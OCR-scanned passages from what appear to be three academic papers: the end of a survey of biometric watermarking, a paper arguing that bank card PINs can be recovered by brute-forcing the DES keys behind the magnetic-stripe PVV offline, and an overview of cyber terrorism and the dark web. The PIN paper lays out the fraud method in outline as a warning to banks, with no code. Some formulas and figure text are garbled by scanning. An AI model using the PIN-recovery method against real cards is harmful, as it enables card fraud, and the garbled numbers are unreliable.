features may be verified from the extracted text. This
watermarking method is highly beneficial for a biometric
system. For instance, biometric features and user’s infor-
mation are mostly stored in an independent database. The
watermark integrates biometric features with personal
information into a file, which allows the simultaneous
storage and extraction of data. This method is easily ap-
plicable to all biometric images and does not significantly
affect quality of the iris image or performance of the
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biometric matching. Furthermore, it is robust to JPEG
compression, filtering, and noise.

Watermarked Biometric Based on Singular Value
Decomposition and DCT Methods

Lu et al. [35] proposed a scheme that in order to in-
crease the security focuses more on iris identification
rather than on the digital watermarking. DCT is ap-
plied on the iris pattern and the obtained value is then
encrypted into the Bose- Chaudhuri-Hocquenghem
(BCH) code for error control. The host image is divided
into four equal blocks. The BCH code is embedded into
the singular value of each coefficient of the host image by
using the key that is obtained by using the DCT method.
After the DCT coeflicients of the host image are altered
with the watermark, the inverse cosine transform (IDCT)
is applied on the image as shown in Fig. 4. The watermark
strength depends of the employed key. The results show
that the proposed method may effectively extract the
watermark.

Column-wise one-
4 dimensional DCT

Key [convert DC coefficients| | A
1, L tobinary with BCH M

_,=
# [s)y |53 — W
el

N

Fig. 4. Process of the watermark embedding into the

Watermarked image

host image [35]

Applications of the Watermark and Steganography for
Multimodal Biometric Data Security

Whitelam et al. [36] proposed a multilayer structure
by combining the watermarking and the steganography
techniques in order to increase security of the multimodal
biometric data. The amplitude modulation [37], which
repeatedly embeds information into the spatial domain
of the image, was used for the watermarking encryption
and the steganographic image. The method is widely used
in signal processing for telecommunications.

The eigenface coeflicients were converted into a
continuous sequence of bits and then embedded into
a fingerprint image by using an encryption technique
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specifically designed for biometric watermarks. By using
steganographic techniques, obtained watermarked data
(fingerprint and face) were hidden into an arbitrary host
image that was not essential for biometrics or forensics.
Examples are shown in Fig. 5.

Fig. 5. Images used for watermarking and steganogra-
phy: (a) face image, (b) fingerprint image, and (c) the
host image [36]

Watermarked image of a fingerprint and a face was
converted into a binary string. The maximum pixel inten-
sity is then used to determine the number of bits required
for steganography. The place of embedding is randomly
determined from all three-color channels of the host
image. This method provides additional security to the
user in the case of compromised data by taking into ac-
count that there is no indication that the biometric data
are present.

For example, in order to access a protected resource,
Alice sends a request to Bob. Alice provides her authen-
tication data (fingerprint and facial characteristics). The
eigenface characteristics were embedded into the fin-
gerprint image by using Bob’s public key for getting a
watermarking location. By using the same key, the wa-
termarked fingerprint image may be embedded into a
cover image. Additional security for the biometric data
was provided through a public key infrastructure (PKI) by
using RSA encryption as well as Alice’s private and Bob’s
public keys. The data will then be stored into a central
database or in a secured token. The difference between
the original and watermarked image is shown in Fig. 6.

Fig. 6. The original (a) and the watermarked image with
the fingerprint as a watermark (b)
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In the decryption process, Bob decrypts the steganog-
raphy image by using his private key and Alice’s public
key. The fingerprint image and eigenface characteristics
may be extracted by using the Bob’s private key for get-
ting the watermarking location. The extracted fingerprint
image and eigenface characteristics may be used for data
authentication.

The security of the multimodal verification system
may be increased by using the eigenface characteristics
and the fingerprint. At the end of the process, the system
will be secured with the multiple layer authentication
(cryptography, watermark, steganography, and multi-
modal biometric verification). Cryptography provides a
data integrity while the public key infrastructure provides
a non-repudiation of origin. Unlike cryptography, the
watermarking and steganography techniques enable the
special layers for monitoring since the decoded image
has the watermark that reveals the origin of the image.

Multimodal Two-Step Authentication Based on Wavelet
Quantization Watermarking

Ma et al. [38] proposed a watermarking method based
on a two-stage authentication in order to increase the
safety and reliability of biometric systems shown in Fig.
7. The face features are embedded into the fingerprint
image during the data collection process. The authen-
ticity of the entered data is determined by checking the
validity of the extracted watermark. The system executes
the next authentication phase only if data are authentic.
The watermarked face image then serves as additional
information in order to facilitate biometric authentication.

The authenticity of data is verified by checking the
validity of the extracted watermark. This increases the
robustness of the system to malicious attacks such as
tampering and forgery. As with conventional watermarks,
template classification (of watermark) instead of search-
ing the database may be applied for reliable verification.
The presence of the watermark may be inferred by a
detector that compares the extracted template with all
watermarked samples in the database in order to find the
sample with the highest matching. However, due to the
presence of noise, it is unlikely that extracted watermark
will be identical to the original. Furthermore, the face
watermark is an extremely sampled image and poses a
major challenge for identification. As a solution to the
problem of recognizing the watermark, authors applied
the sparse representation based classification (SRC) that
produced good results when combined with a detector.
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y v
/" Authentication
failed ,,‘ Final decision

Fig. 7. Diagram of the watermark embedding based on
a two-stage biometric authentication [38]

5. CONCLUSION

In this paper, we provided a detailed overview of the
biometric watermarking techniques and the current state
of the art in this field. We also presented several solutions
that employ steganographic and cryptographic techniques
in order to protect the biometric data.

Vulnerability of the biometric data is addresses by us-
ing a digital watermark, which serves as an authentication
token. Hence, the authentication will fail if the watermark
is damaged or absent. Increasing the watermark capacity
for use in extensive identification of information reduces
the robustness of the watermark. System security increases
by combining various cryptographic and steganographic
techniques.

Applying techniques for pattern protection of the em-
bedded data guarantees security and prevents counterfeit-
ing of the watermarked image. Employing a secret key for
randomly selecting embedding position of the watermark
or encrypting a watermark sequences before embedding,
makes the watermarking data safe from unauthorized
extraction. Even if able to identify the algorithm for ex-
traction, an attacker is unable to obtain the watermark
data because they are additionally protected with a secret
key. Therefore, procedures used to maintain the secrecy
of the key are very important as well as is replacing of
compromised keys.
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Abstract:

The problem of counterfeiting payment cards represents a significant issue
for banks. So far, attackers have successfully forged cards with a magnetic
stripe while no chip card has been counterfeited yet. On magnetic stripe
cards Personal Identification Number - PIN value is not successfully recon-
structed, thus limiting the use of counterfeit cards, while on the card with
a chip attackers try programming the chip to give an affirmative answer to
every request. The goal of this paper is to show that it is possible to discover
the PIN value from the data on the magnetic stripe and thus compromise
the chip itself if it is a card with a chip. Taking into account the results of this
work a bank should become aware of the vulnerability of cards and discuss
new methods of protection.

Keywords:

forging, cryptanalysis, payment security.

1. INTRODUCTION

In this paper, we want to draw attention of bankers as well as the
general public to the potential vulnerability of the payment cards with
microprocessor. While considering the payment card issues it is good to
have on mind that over 90% of world money is digitalized [1]. It means
that money becomes a data record in database and that with one simple
key press on “delete” button someone can lose a significant amount of
money [2]. Non-cash payments are widely accepted so the risk of misuse
of payment cards becomes increasingly common. Counterfeiting the cards
that have only magnetic stripe is trivial while making a copy of card that
contains microprocessor is not yet successful despite numerous attempts.
Counterfeit card can be easily used for online payment, whether the PIN
is revealed or not. The necessary information is easy to access on the
magnetic stripe. Using the card on the Automatic Teller Machine - ATM
or Point Of Sale - POS [3] is most challenging as one has to know the
PIN value which cannot be seen on the magnetic stripe like open text
which is the issue for attacker. The PIN value cannot be revealed from the
chip because of many reasons. The different manufacturer has different
hardware configurations so it is not easy to discover the memory location
of particular data without manufacturer documentation. Even with the
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documentation, the encrypted PIN value is placed into the
protected memory location. The fact which is neglected is
that the PIN value is the same for one card, both on chip
and magnetic stripe. Therefore, if someone revealed the
PIN from the magnetic stripe it would be the same PIN,
which is used for the chip. In that way the whole system
of the chip card is broken.

2. PIN VERIFICATION METHOD

For the magnetic stripe card, the cardholder signature
is the primary way to identify the person presenting a
payment card. Verification is made by comparing the
signature on the transaction draft to the signature on the
card’s signature panel. If two signatures match, there is a
high probability that the cardholder’s identity has been
verified. Commonly available technologies support one
widespread solution of cardholder identity verification
and that is the PIN.

The verification process begins when the cardholder
enters a PIN at an ATM keyboard or at a POS termi-
nal. When the PIN is verified online, the PIN entered
is encrypted, transmitted, decrypted and compared to
a reference PIN available only in the issuer’s processing
center. The PIN can also be confirmed by using crypto-
graphic transformation of the entered PIN that is com-
pared against and identical cryptographic transformation
of the reference PIN. If two versions of the PIN match,
there is a high probability that cardholder’s identity is
verified. When the PIN is verified offline, the entered
PIN is compared to the PIN stored on the card’s chip. If
two PINs match, then there is a high probability that the
cardholder’s identity has been verified.

The minimum PIN length is four digits. An issuer
can elect to support longer PINs up to 12 digits. How-
ever, ATM acquirers are not obliged to support PINs of
more than six digits. The PIN entered by the cardholder
can consist of numeric digits 0 through 9, alphabetic
characters A through Z, or combination of both. PINs
are always numeric. The cardholder may use alpha to
remember the PINs but PINs do not contain alpha char-
acters [4]. When entering an alphabetic PIN character, the
cardholder selects the key labeled with the correspond-
ing alphabetic character. If the keys are not labeled with
alphabetic characters, the cardholder selects appropriate
numeric key after converting the alphabetic character to
a numeric digit [5].

The value of PIN as a means of cardholder identifi-
cation depends on the ability to ensure that the PIN is
known only to the cardholder. Issuers should be assured
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that PINs would not be compromised when using them
in other members’ equipment or facilities.

A Pin Verification Service - PVS is provided by the
issuer. This service compares the cardholder’s PIN entry
to a cryptographic transformation of that PIN. This tech-
nique is referred to as the PIN Verification Value - PVV
method of verification [6].

The PVV method is a two-step process:

1. When a card is issued, the issuer derives a 4-digit
PVV. The PVV and PIN Verification Key Index
- PVKI are encoded on the magnetic stripe of the
card or in online database. The stored PVV is
called the reference PVV for comparison.

2. When a cardholder enters a PIN, a transaction
PVV is generated. The transaction PVV is then
compared to the reference PVV by the issuer’s
processing center. If two PVVs match, there is
a high probability (9999 in 10.000) that the PIN
is correct.

PVVs are four-digit decimal values. For any one PVV,
there are only 10.000 possible combinations of digits.
If an adversary has a method of trying all 10.000 PVV
combinations on a single account, the adversary will
discover the PIN, or an equivalent value that transforms
to the same PVV.

It is not feasible to test all 10.000 combinations manu-
ally. However, it may be possible to obtain the informa-
tion needed to perpetrate a fraud by using an automated
method, such as inserting microcomputers in communi-
cation lines, creating spurious transactions, and recording
authorization responses. Automated testing trials such
as these would not expose the PIN Verification keys but
could compromise an individual PIN/PAN - Primary
Account Number combination. To detect such trials,
the PIN Verification service monitors the entry of incor-
rect PINs and declines transactions when the maximum
number of incorrect OINs has been entered.

The PVV method is based on the Data Encryption
Standard - DES algorithm and pair of DES keys designated
as a PIN Verification Key - PVK pair. The algorithm
may be implemented in hardware or software within a
tamper-resistant security module. Each issuer creates its
own PVKs. These keys should be different from any other
DES keys used by that issuer. Because each issuer has
unique keys, a breach of security is limited to a particular
issuer rather than to all issuers using PVV method [7], [8].

To create a PVV, the PVK pair is input to the DES
algorithm together with other data. Like any DES-based
scheme, the security depends on the secrecy of the DES
keys. The PVK pair must be kept secret and should not
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be known to anyone. If the unauthorized disclosure of a
PVK pair is known or suspected, the PVK pair should be
immediately replaced. Cards with PVVs generated using
the potentially compromised key should be reissued as
soon as possible, and when all such cards have been reis-
sued, the potentially compromised PVK pair should be
invalidated. To minimize the number of cards that should
be reissued under this condition, it may be desirable to
use a new PVK pair for each reissue.

3. DES KEY MANAGEMENT

The process of securely generating, distributing, and
storing Data Encryption Standard keys is called Key Man-
agement. Key management procedures are supposed to
be highly secure. The compromise of even a single key
could lead to the compromise of all PINs encrypted under
that key. A DES key has one of the following functions:

+ A working key protects PINs and other data

¢ A Master key protects other keys

¢ Working keys are secret values that are input to

the DES process. The following are examples of
working keys:

¢ The keys needed to encrypt and decrypt PINs

before and after message transmission or host
storage.

¢ The pair of keys used to generate the PIN Verifi-

cation Value.The pair of keys used to generate the
Card Verification Value - CVV in Visa notation
or Card Verification Code - CVC in MasterCard
notation

¢ The pair of keys used to generate the Card au-

thentication Verification Value - CAVV.

To obtain valid results, the same working key must be
used both for encryption and for decryption. Likewise,
to verify a PIN with the PVV or to validate a CVV, the
original encryption keys are required [9].

Key Exchange Keys

Key Exchange Keys - KEK are used to protect, mean-
ing encrypt and decrypt working keys so they can be safely
stored or conveyed from one network node to another.

The Zone Control Master Key - ZCMK Z is a type
of KEK. It is used to protect other keys during transit. It
can be used to transfer keys between Hardware Security
Modules - HSMs. Transferred keys are encrypted under
ZCMK outside of HSM and generally transferred between
HSMs in a 3-component form. Firstly, generate a ZMK
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key, Export ZMK in 3 components and send those com-
ponents to other HSM with 3 different key officers. When
key officers import those 3 components to other HSM you
are ready to send keys to other HSM. Also, a member
uses the ZCMK to encrypt working keys before sending
them to Visa or MasterCard. The Visa or MasterCard uses
the ZCMK to decrypt the working keys it receives. Before
storing the member’s keys, Visa or MasterCard encrypts
the keys again under a particular key only known to them.
Visa or MasterCard uses ZCMK to encrypt working keys
before sending them to a member. A member uses the
ZCMK to decrypt the working keys it receives [10].

Master keys

A member master key is used by a member to protect
its keys for in-house storage. This key is known only
within a physically secure device at the member’s process-
ing center. The most commonly using devices are HSMs.
A member master key could be used to encrypt any of
the working keys, KEKs or ZCMKs used in interchange
processing. The same master key should not be used to
encrypt both working keys and master keys.

Key Check Value

A key check value is a six-digit, hexadecimal value that
is obtained by encrypting a block of zeroes under a given
key. The first six digits of the resulting ciphertext present
the key check value for that key. Some HSMs only return
the first four digits. The key check value does not need
to be protected since it cannot be used to backtrack to
the cleartext key. Because the encryption of zeroes under
the same key always generate the same results. The key
check value can be used to verify that two copies of a key
are in fact identical.

Dynamic Key Exchange - DKE Service

The Dynamic Key Exchange Service is an optional
service that enables members to periodically change
working keys used to protect cardholder PINs. These
keys can be changed dynamically through the exchange
of online messages. The Dynamic Key Exchange Service
offers alternatives for key conveyance, both of which
protect PINs from disclosure during transmission [11].

¢ The member sends an administrative request to
Visa or MasterCard for a new acquirer or new
issuer working key. After receiving the request,
Visa or MasterCard generates the appropriate
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working key and sends it online to the member.

¢ The member authorizes Visa or MasterCard to
automatically generate new acquirer and new is-
suer working keys on a daily basis. The member
may specify time and day when Visa or Master-
Card should generate and send new keys before
sending an authorization request to issuer.

Keys are exchanged using 0800 and 0810 network

management messages [12].

Message Security Code - MSC is a part of the message
with the purpose to confirm that the message comes from
the stated sender and has not been changed [13].

Both acquirers and issuers should evaluate possible
alternative processes if problems are encountered during
the implementation. It is recommended that a procedure
should be established to allow a return to manual key
procedures. Europay, MasterCard and Visa - EMV offer
the following two procedures:

+ Offline

When a key problem is discovered, EMV will contact
the member or the member will contact EMV and the
further generation of working keys is temporary halted.
When the Offline procedure is invoked, EMV will start
using the static key in messages sent to the member.
The operator at the member site must be familiar with
the procedure for transferring their static keys to their
dynamic key areas. The method for doing this will vary
by member. Once this static key is in place, EMV will
coordinate with the member to return to dynamics key.

+ Fallback

When the Fallback option is used, EMV will send the
member 0800 key exchange message in which the key in
MSC is equal to zeros. When MSC is filled with zeros,
the numbers should switch to their static keys and send
0810 response with Response Code Zero - MSC. If the
member does not respond with an approval, system will
not use the static key. This Fallback procedure is similar
to the normal key exchange process, except that MSC
contains zeros [14].
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4. PROPOSED CRYPTANALYSIS

As we noticed in the previous text, the actual algo-
rithm, which is generally used in the protection of pay-
ment card data, is DES algorithm. DES algorithm belongs
to the group of symmetric algorithms. In addition, DES
algorithm is a block cipher system, which means that the
data is dividing into the blocks size of 64 bits or 8 bytes.
Having on mind the fact that the enciphered PIN value,
PVV is just 4 digits long, there is a possibility to recalcu-
late clear text PIN value. What we suggest is using brute
force attack or exhaustive key search to PVV in order to
recalculate original PIN.

The issuers usually creates PIN value that consists of
4 digits although the number of digits can be up to 12
digits, as it is described in the previous text. The main
reason for such length is facilitating the humans to re-
member the PIN. The number of possible combination
for PIN value is 10.000, from 0000 to 9999. Trying all
possible combinations on the ATM or POS, most likely
will be unsuccessful. As it is mentioned in the previous
text, the number of attempts to enter PIN value is limited.
The number of attempts depends on the issuer, but com-
monly used number of allowed attempts is 3 after which
the card is blocked. So recovering PIN on the ATM or
POS is not an option.

We suggest copying PVV value to the local computer
and doing the cryptanalysis on local equipment in such a
way that the payment system has no information about
the attack. The number of attempts in such a scenario
is unlimited. When the PIN is revealed, the card can be
used on ATM or POS without any obstacles. In that way
attacker can bypass the Card Operating System - COS
on the chip and the whole system of the cryptographic
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keys which is partially described in the previous text.
The brute force attack can be performed by specialized
software or hardware.

A brute force attack on DES requires a single plaintext/
ciphertext pair. Another plaintext/ciphertext pair is use-
ful to confirm the result once found and rule out a false
positive. It can be concluded that if attacker knew one
PIN/PVV pair for a particular bank and a particular type
of card, the attacker did a brute force attack and revealed
the DES key. The same algorithm and the same key are
valid for the other cards of the same bank and the same
type of card.

If the attacker legally owns a bank card he knows
the PIN and PV'V at the same time which means that he
knows the clear text and enciphered text. At the same
time, the attacker knows the applied algorithm. If attacker
is performing attack on local resources, it will not violate
limitation number of PIN attempt input.

Capacities of the hardware and processors power
might be an issue, but if the attacker performs using the
capacities of other computers thus doing the parallel
processing, the problem can be resolved relatively quickly.

In order to speed up the process from mathematical
perspective it is good to have on mind the following:

DES key search with a single PIN/PVV using a black-
box DES implementation requires 2°° invocations in the
worst case. Discounting the "optimization" of concluding
after 2°°-1 keys did not match that the single remaining
one must be right, which is unrealistic, and saves only
27 of the effort with odds 2. There will be 2 invoca-
tions on average, the expected time/effort. Chance/risk,
depending on point of view by attacker/user, that the key
is found after only 2’ tests is 2 for t <56 using sequential
key search, or t<<56 using random key search [15].

5. CONCLUSION

In this text we described some basic elements and
methods of payment cards and analyzed their interde-
pendencies. The weakness of PIN protecting presented
in this paper points to the vulnerability of whole bank
card system regarding the bank cards with magnetic
stripe and bank cards with chip. It is shown that there
is a significant probability to reveal the PIN value and
unauthorized use of counterfeited card on the ATM and
POS as well. The observed vulnerability can be exploited
widely even from the attackers who are neither top skilled
in cryptography nor in programming. The danger for
the bank card system is huge. As it was previously said,
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over 90% of world’s money is digitalized so the danger is
almost unimaginable.

If banks take our work into consideration they will
conclude that it is necessary to change the PIN protection,
which has been in use for over a four decades. It is ultimate
time for applying the new system of PIN protection while
it is not too late. We tried to make an alert and we hope
that this article will initiate changes that will secure the
digitalized currencies. Capacities of the hardware and
processors power might be an issue, but if the attacker
performs using the capacities of other computers thus
doing the parallel processing, the problem can be resolved
relatively quickly.
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Abstract:

In recent years, an increasing problem attracting expert attention has been
the “dark side of surfing the Internet” or “Dark net” or “Deep Web”. It is
estimated that this “digital underground” is much bigger than the Internet
itself and that hackers, criminals, terrorists, paedophiles can completely
freely carry out their illegal activities. Cyber space is very suitable for various
terrorist activities and operations, as it provides a facility for secure commu-
nications at a very low cost, while social networks can be used by terrorists
as a psychological weapon.

Cyber terrorism is a modern form of terrorism, which connects two great
fears of modern times: the virtual space and terrorist activity. Most of the
terrorist groups use three basic methods: physical attack, electronic attack
and the attack on the computer networks. Based on the characteristics of
cyber terrorism, it is possible to reconstruct the criminological dimensions
of terrorist attacks in cyberspace.

International legislative made great efforts in order to effectively counter
fight cyber terrorism both on international as well as on member states level,
emphasizing the interstate and intergovernmental cooperation on three
parallel levels: international organizations, multilateral and multinational
platforms and regional action.

Keywords:

cyber space, cyber terrorism, characteristics of cyber terrorism, methods,
social networks, international legislative.

1. INTRODUCTION

In recent years, an increasing problem attracting expert attention has
been the “dark side of surfing the Internet” or “Dark net” or “Deep Web”,
where data and information is password locked, trapped behind a pay
walls, or the user is required to use special software to access this data. It is
estimated that this “digital underground” is much bigger than the Internet
itself and that hackers, criminals, terrorists, paedophiles can completely
freely carry out their illegal activities. In Deep Web users can buy and sell
drugs, forged money and forged documents, weapons, ammunition and
explosives, order and pay to murder someone, sell and buy human organs.
Deep Web has a special system of online payments concealing identity
[1]. Considering that those activities on Deep Web and especially cyber

terrorism are a new area of possible computers and networks misuse and
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criminality, there is an evident lack of comprehensive
theoretical and empirical research on this phenomenon.

2. WHAT IS CYBER TERRORISM

Cyber terrorism is a modern form of terrorism, which
connects two great fears of modern times: the virtual cy-
ber space and terrorist activity [2]. Internet space is very
suitable for various terrorist activities and operations, as it
provides a facility for secure communications at a very low
cost [3]. Cyber terrorism refers to deliberate, politically
motivated attacks on computer systems and programs, as
well as the data, which could provoke violence and fear
with the civilian targets [4]. New weapons in virtual wars
that are used are Logic Bombs, Trojan horses, Worms and
Viruses, whose main objective is to disable the system
from functioning properly and the loss of information,
so therefore to overload phone lines, air force control
and to control computers responsible for supervision of
other forms of transport, to lead to misuse and failure of
programs used by large institutions of state significance
and emergency services.

There is no unique and universally accepted defini-
tion of cyber terrorism, but all given definitions pointed
out that some of the elements of this criminal activity
include: data theft or hacking, planning terrorist attacks,
causing violence, attacks on information systems and
computer networks etc. However, internet terrorism must
be considered separately from computer crime in general,
because every attack on computer or network system
does not necessarily represent the act of cyber terror-
ism. If the cyber terrorism is equated with daily attacks
on computer and network systems, it would be an even
bigger problem to determine with certainty the identity,
intention or political underpinning of the perpetrator. For
this reason, cyber terrorism is proper to define as the use
of computers in the function of weapons or targets, by po-
litically motivated international or para-national groups
or individuals who threaten or carry out violence in order
to influence the public and the official government to
change their way of doing politics [5]. Some authors,
such as James Lewis, define cyber terrorism as the use of
cyber computer networks and internet tools for breaking
critical national infrastructures (such as energy, public
transport, government activities, etc.) or to intimidate or
compel a government of one country or its citizens [6].
The aim of conducting such activities is to incapacitate
critical national infrastructure and, in order to become
more dependent on computer networks and therefore
more vulnerable, create a “massive electronic Achilles’
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heel” of each system that could be violated and misused
by organized groups [7]. Cyber terrorism is actually using
modern technology to create strategic weaknesses of a
system and use those weaknesses for achieving its goals.

Debra Littlejohn Shinder believes that attacks on
computers and computer networks can be defined as
cyber terrorism if the effects are destructive enough to
produce fear comparable to the physical act of terrorism
[8]. This is a violent form of computer criminality com-
mitted, planned or coordinated in a virtual space and
using computer networks [9]. Some of the most common
acts that lead to computer terrorism are: communica-
tion with electronic messages in order to achieve agreed
conspiracy to carry out specific terrorist activities or to
recruit new members for terrorist organizations, air traffic
sabotage in order to provoke crashing the aircrafts, water
pollution by sabotaging electronic purifiers, incursions
into hospital and healthcare systems to delete or change
patients’ database and prescribed methods of treatment,
attacks on infrastructure of power supply that can pro-
voke the death of a large number of people who are on
respirators, who are given medical care in their homes
and do not have electrical generators as hospitals do etc.

Abraham R. Wagner believes that the Internet and
social networks are an ideal place to carry out terrorist ac-
tivities and operations, because they allow geographically
unlimited actions as well as high-speed communications
that do not cost much. The terrorists’ use and misuse of
the computers and computer networks can be conducted
in four main directions: (1) using Internet for terrorists
communicating among each other; (2) creating access
to a variety of information stored on the Internet and
implying possible targets as well as providing technical
details for such, as for example concluding and handling
the weapons; (3) the use of the Internet to spread terrorist
ideas and the ideology of a terroristic organization and (4)
the conducting of terroristic attacks over the Internet [10].

Cyber terrorism is defined also as a criminal act in
virtual space aimed to intimidate the government of one
country or its citizens for achieving some political objec-
tives [11]. Technical characteristics of conducting such
terrorist acts are limited opportunities for direct monitor-
ing, control and disclosure of these activities; unlimited
possibilities in time and space in virtual space, the pos-
sibility of operating at a large distance, numerous choices
of targets, the lack of geographical constraints, precise
timing, possibility for previous testing of planned actions
which reduce the risk of eventual failure to a minimum;
anonymity of the perpetrators. Internet terrorism is a
deliberate misuse of digital information systems, networks
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or its components for the purpose of conducting terrorist
activity and achieving its goal. The results of these activi-
ties are direct violence, spreading fear among civilians,
causing instability of strategic and vital functions of the
state institutions and great suffering of the civilians, as
well as different mass accidents described as “collateral
damage” [12].

3. CRIMINOLOGICAL DIMENSIONS OF
CYBER TERRORISM

One of the international organizations that devoted
its work to cyber crime is the American National Infra-
structure Protection Centre - NIPC [13]. According to
»DCSINT Handbook No. 1.02, Cyber Operations and
Cyber Terrorism” which is used for training US soldiers,
internet operations consist of internet terrorism and in-
ternet support, expressed through planning, recruitment
and propaganda [14]. With this kind of activities, the
computer network can be used as a weapon, as an inter-
mediary target or as an activity that precedes or follows
physical assault. The Manual states that the most impor-
tant goal of cyber terrorism is the loss of integrity of the
target itself, reducing its possibilities of action, lack of
trust, security and safety, and then finally the physical
destruction [15]. The most common motivation identified
within cyber terrorism is blackmail, desire for destruc-
tion, different kinds of exploitation and revenge, and most
common actions undertaken or threatened by terrorists
are physical destruction, destruction of important data
and information, attack on computer systems of great
importance, illegal incursions into computer systems
from public importance and the access denial to essen-
tial systems, services and data [16]. FBI described cyber
terrorism as a ,,development of terrorist capabilities pro-
vided by new technologies and networked organizations,
which allows terrorists to conduct their operations with
little or no physical risk to themselves which is focused
on ,,physical destruction of information hardware and
software, or physical damage to personnel or equipment
using information technology as the medium*[17].

Based on the characteristics of cyber terrorism, it is
possible to reconstruct the criminological dimensions of
the terrorist attacks in cyberspace. In order to understand
better the cyber terrorism, it is necessary firstly to under-
stand the virtual space itself with all its possibilities, and
then to analyze the following questions:

1. who are the perpetrators of cyber terrorism
(whether they are supported by a state, wheth-
er the state discards them, whether they are
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quasi-public formations, hacker groups or people
in power who are engaged in espionage);

2. what tools and techniques will be used in the pro-
cess of planning and execution of the attack itself;

3. how to apply the techniques, tactics and proce-
dures for performing cyber attacks (a method
of social engineering, creation and releasing of
viruses and malware into the computer system);

4. where the attack is carried out or which catego-
ries of potential targets of terrorist cyber attacks
(information and communication networks, data,
objects in ,real” world, energy, banking and fi-
nance, vital services of a country);

5. why the attack is carried out or the motivation for
carrying out cyber terrorist attacks, which results
they want to achieve, what are the advantages and
disadvantages of such actions;

6. when the attack is carried out [18].

4. WHY DO TERRORISTS RELY ON CYBER
SPACE AND SOCIAL NETWORKS

Various sensitive state and social structures can be
attacked and affected by different methods of attack, and
also different weapons can be used. Most of the terrorist
groups use three basic methods: physical attack carried
out with conventional weapons and directed to computer
systems or data information transmission lines; electronic
attack that involves the use of electromagnetic force or
electromagnetic pulse to block computer systems, as well
as the insertion of malicious software into the computer
systems and channels of information transfer, as well as
the attack on the computer networks that usually involves
the use of malware as a function of weapons in computer
and network systems and exploitation of the vulner-
abilities and weaknesses in computer programs, used by
the enemy in system configuration or security settings
of your computer in order to steal some data or destroy
them [19]. Terrorist organizations largely take advantage
of the Internet in order to carry out their activities: in
1998 more than half of the organizations that have been
identified in the United States as terrorist had its website,
in 1999 all had at least one internet presentation, and by
2007 it was recorded that there were over 5,000 terrorist
websites on the internet. Basically all terrorist web sites
contain information such as: basic goals and mission, the
history of the organization, the arguments which appeal
to potential new members to accept the mission and
goals of the organization, audio and video attachments,
recognizable logos of organizations and even video games
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for children ideologically promoting the goals of terrorist
organizations. [20].

There are many reasons why terrorists use the inter-
net for propaganda, planning and implementation of its
activities, as well as the recruitment of new members: (1)
the internet is cheap because all you need is a computer
and access to the network, it is not necessary to purchase
arms because only one malicious program is enough to
realize certain activity; (2) the manner of conducting the
attack protects the anonymity of the attackers who use
different nicknames so it is difficult to trace them, there
are no geographical borders between different countries
nor police checkouts to deal with; (3) the number of
potential targets is impossible to determine; (4) for the
implementation of planned terroristic actions it takes
less physical training and readiness, the risk of death is
insignificant and it is not necessary to travel to different
places and (5) cyber terrorism can affect far more people
than traditional terrorist attacks [21].

In addition to conventional weapons, terrorists can
now also use modern, strong and massive weapons such
as the mass media and new technologies. For instance, the
internet can be used in one of the triple ways: as a weapon,
as a means of communication between activists and as a
medium for addressing the public in order to spread ter-
roristic ideology [22]. The fastest way to spread fear and
panic is through mass and electronic media [23]. Using
encrypted communications through the public Internet
service provides provide an opportunity for members
of the various terroristic cells to be in constant contact,
making their detection and the interpretation of sent mes-
sages very difficult [24]. In addition to communication via
e-mail, there are other techniques [25] for communica-
tion and data exchange via Internet, such as embedding
data into digital images [26] and “dead drop” technique
[27]. The sender can incorporate certain information into
digital images available on the Internet or can replace
an existing image with one that already contains data,
so the recipient can download images from the Internet
and extract the data, with no apparent link to the sender.
Certain place on the server can be used as file sender, and
the recipient of the files can be removed or hidden. For
this purpose any available server can be used, the name
of the file remains on the server, but not its content. There
are numerous public and private services on the Internet
that could be potential targets of terrorist attacks, such
as information and communication systems, banking
and finance, energy (oil, gas and electricity), delivery of
commercial products and services considered vital for
human beings [28].
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Social networks can be used by terrorists as a psycho-
logical weapon in order to spread disinformation spread-
ing fear, panic, intimidating messages and threats to the
public [29]. Terrorists have a complete control over the
contents of messages that are placed in the electronic me-
dia and on social networks, and that is just one more way
of trying to collect funds to finance its activities [30], for
the recruitment and mobilization of new members [31],
for the purpose of building connections and exchanging
information [32], planning and coordination of terrorist
activities [33]. By monitoring internet web sites, terrorist
organizations can identify things that internet users are
interested in and, accordingly, to make requests for pay-
ment of grants or donations for financing their actions.
Internet could be the initial contact point for individuals
who voluntarily want to join terrorist movements, because
they used the Internet to spread their propaganda and
ideology by uploading different literature for the purpose
of recruiting potential members, identification of possible
interests and for presentation of different ideas based on
distorted interpretation of religious beliefs etc. Terrorists
use the Internet in order to plan and to coordinate specific
attacks, in which they use encrypted messages via chat
rooms, maps, photographs, signs, technical features hid-
den in graphics files and digital images, as well as different
steganographic tools.

Funding terrorist activities can also be done over the
Internet and through social networks. Numerous terrorist
groups seek direct financial contributions from its sites
visitors and from its members and supporters: the money
can be paid directly to specific bank accounts, and some
organizations are receiving donations and using PayPal
service or sales in online stores which are located within
their web presentations [34]. Donations are not neces-
sarily in cash but may also be in the actions and objects
that terrorist activitists may find to be of help for the
main activity (weapons, maps of buildings and objects of
interest, bulletproof vests, etc.). In order to gain funds for
financing terrorist activities, members of terrorist groups
are also very often keen to commit other different criminal
acts, such as the abuse or misuse of different tools for e-
commerce, debit or credit cards, theft of someone else’s
identity, internet scams etc.

5. CONCLUSION

International legislative made great efforts in order to
effectively counter fight cyber terrorism both on inter-
national as well as on member states level, emphasizing
the interstate and intergovernmental cooperation on
three parallel levels:
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1. Through international organizations: the United
Nations requires of its Member States to put special
measures to prevent all potential hazards in the
field of information security, while in September
2002 Interpol established a special department
against terrorism [35];

2. Through multilateral and multinational platforms:

the interest of the G8 dealing with the prevention
of terrorism and protection of information tech-
nology from terrorism, and through the work of
the Organization for Economic Cooperation and
Development (OECD) which in 2002 adopted
Guidelines for the Security of Information Systems
and Networks [36] by suggesting the governments
of member states to promote information security
and the security of computer networks in order
to prevent cyber terrorism, computer viruses and
hacking into systems, so that the privacy of indi-
viduals and their personal freedom would be safe;

3. Through regional action: mostly through the ac-

tivities of the European Union against terrorism in
general and the Council of Europe, by establishing
The Committee of Experts on Cyber Terrorism
(CODEXTER) [37] and the adoption of the Con-
vention on Cybercrime [38] and the Convention
on Prevention of Terrorism [39]. CODEXTER
concluded at its meetings that the Internet can be
used for terrorist purposes in several different ways
and can its use can produce different effects: 1)
terrorist attacks over the Internet can cause harm
not only to the electronic communication systems
but also to “ordinary” infrastructure systems and
to produce a large number of human casualties; 2)
dissemination and distribution of illegal content,
threats, advertisements that glorify terrorism, fi-
nancing of terrorist acts, organizing training for
